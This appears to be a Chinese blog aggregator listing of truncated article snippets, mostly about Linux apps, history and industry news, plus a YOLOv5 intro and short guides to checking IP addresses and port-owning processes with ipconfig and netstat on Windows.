温馨提示&#xff1a;文章内容完整但是过长&#xff0c;由于前后内容有关联&#xff0c;读者学习可以多开几个浏览器分屏有助于定位 目录 目标检测理论部分&#xff1a; 1.目标检测介绍 2.YOLOv5的检测原理 3.目标检测的意义 4.目标检测的应用场景 5.先行知识储备 &…

2021年你必须拥有的10个最流行和最基本的Linux应用

点击上方 "编程技术圈"关注, 星标或置顶一起成长 后台回复“大礼包”有惊喜礼包&#xff01; 每日英文 If you’re brave to say “good bye”, life will reward you with a new “hello”. -- Paulo Coelho. 如果你勇于对过去说“拜拜”&#xff0c;生活就会回赠给…

中国linux系统

对于广大电脑初级用户来说,Windows就是操作系统的代名词。但“天外有天,OS外有OS”,操作系统并非只有Windows一种。早在Windows诞生之前,Unix、Macintosh这些知名的操作系统就已经存在。只是因为Windows占据了操作系统绝大部分的市场份额,所以许多用户都不太熟悉Windows之…

Linux 下一代架构基金会宣布:联合腾讯等企业和社区,发力微服务标准化建设

2022年3月23日&#xff0c;NextArch 基金会正式宣布成立微服务 SIG&#xff08;Special Interest Group&#xff0c;以下简称“微服务技术组”&#xff09;&#xff0c;来自腾讯、字节跳动、七牛云、快手、BIGO、好未来和蓝色光标等多家企业的技术专家成为首批成员。 该小组聚…

2021年你应该拥有的10个最流行和最基本的Linux应用

前言 本文介绍了预计在2021年最受欢迎的十大Linux应用程序。那么现在让我们看看这个列表。 您是否正在寻找适合台式机或笔记本电脑的最佳Linux应用程序&#xff0c;以带您进入2021年&#xff1f;在本文中&#xff0c;我们将列出您必须在Linux操作系统上安装的最流行的Linux应用…

关于 Linux

Linus(林纳斯托瓦兹)&#xff1a;Linux 的开发作者&#xff0c;被称为Linux 之父&#xff0c;Linux 诞生时是芬兰赫尔辛基大学的在校大学生。 Stallman 斯特曼&#xff1a;开源文化的倡导人。 2、Linux 的含义 狭义&#xff1a;由Linus 编写的一段内核代码。 广义&#xff…

linux发展现状和学习建议

一、Linux在各领域发展的现状与趋势 很多新手都有一个很疑惑的问题&#xff1a;“Linux我听过&#xff0c;但是学习linux系统&#xff0c;能在上面干什么呢&#xff0c;或者说linux系统具体能做什么”&#xff0c;带着这个疑问&#xff0c;在本书的开篇&#xff0c;我们先来了解…

linux哪国的,Linux是什么它是哪个国家开发的

摘要 腾兴网为您分享:Linux是什么它是哪个国家开发的&#xff0c;信用管家&#xff0c;天天爱&#xff0c;美食天下&#xff0c;美甲帮等软件知识&#xff0c;以及平安app金管家&#xff0c;美发秀秀&#xff0c;圈子账本&#xff0c;传媒人&#xff0c;绝望表情包&#xff0c;…

Linux系统在信息社会的发展

随着信息技术的高速发展并迅速渗透到社会生活的各个方面&#xff0c;Linux日益成为人们学习、工作、生活不可缺少的基本工具&#xff0c;再过不了几年&#xff0c;不会使用Linux&#xff0c;就会象不识字一样使人举步维艰。进入大学&#xff0c;Linux无时无刻在伴随着我们&…

针对边缘计算,红帽企业Linux 9有哪些新功能?

每一次发布红帽企业Linux&#xff08;RHEL&#xff09;都激动人心&#xff0c;每一个&#xff08;大的&#xff09;新版本为业界提供十年以上的技术底座。RHEL 9标志着下一个里程碑&#xff0c;在稳定性、性能、升级和安全能力等领域提供全面改进。由于边缘计算是我们许多客户的…

Linux初期在中国的发展

Linux发展初期&#xff0c;中国各界对Linux这类开源软件是什么看法&#xff1f;回顾一下1999年发表在《互联网周刊》上的这篇题为《Linux&#xff1a;打开自由那扇窗》的旧文&#xff0c;也许对我们今天看待以RISC-V为代表的开源芯片未来发展多少会有些启发。 发表在1999年《互…

Linux是什么?它是哪个国家开发的

刚接触Linux的用户可能会有个想法&#xff0c;这个系统是什么&#xff1f;哪个国家开发的&#xff1f;有什么用&#xff1f;对于这些疑问&#xff0c;小编也有产生过&#xff0c;但是万能的互联网已经给与了答案&#xff0c;下面小编就将其汇总给大家&#xff0c;感兴趣的不妨看…

如何查看电脑ip和端口

1.查看电脑ip 使用WindowsR键打开“运行”窗口&#xff0c;然后输入CMD进入命令提示窗口&#xff0c;进入命令窗口之后&#xff0c;输入&#xff1a;ipconfig/all&#xff0c;按回车即可看到整个电脑的详细的IP配置信息。 2.查看电脑端口 使用WindowsR键打开“运行”窗口&…

windows系统查看进程端口号的命令

查看进程端口号 1、查看windows所有端口进程 netstat -ano 命令提示符窗口&#xff1a; 2、查询指定的端口占用 netstat -aon|findstr “端口” 显示列表中的PID&#xff0c;然后根据PID在电脑的任务管理器中查看对应的占用程序 根据查询的PID找到对应的进程 根据上面…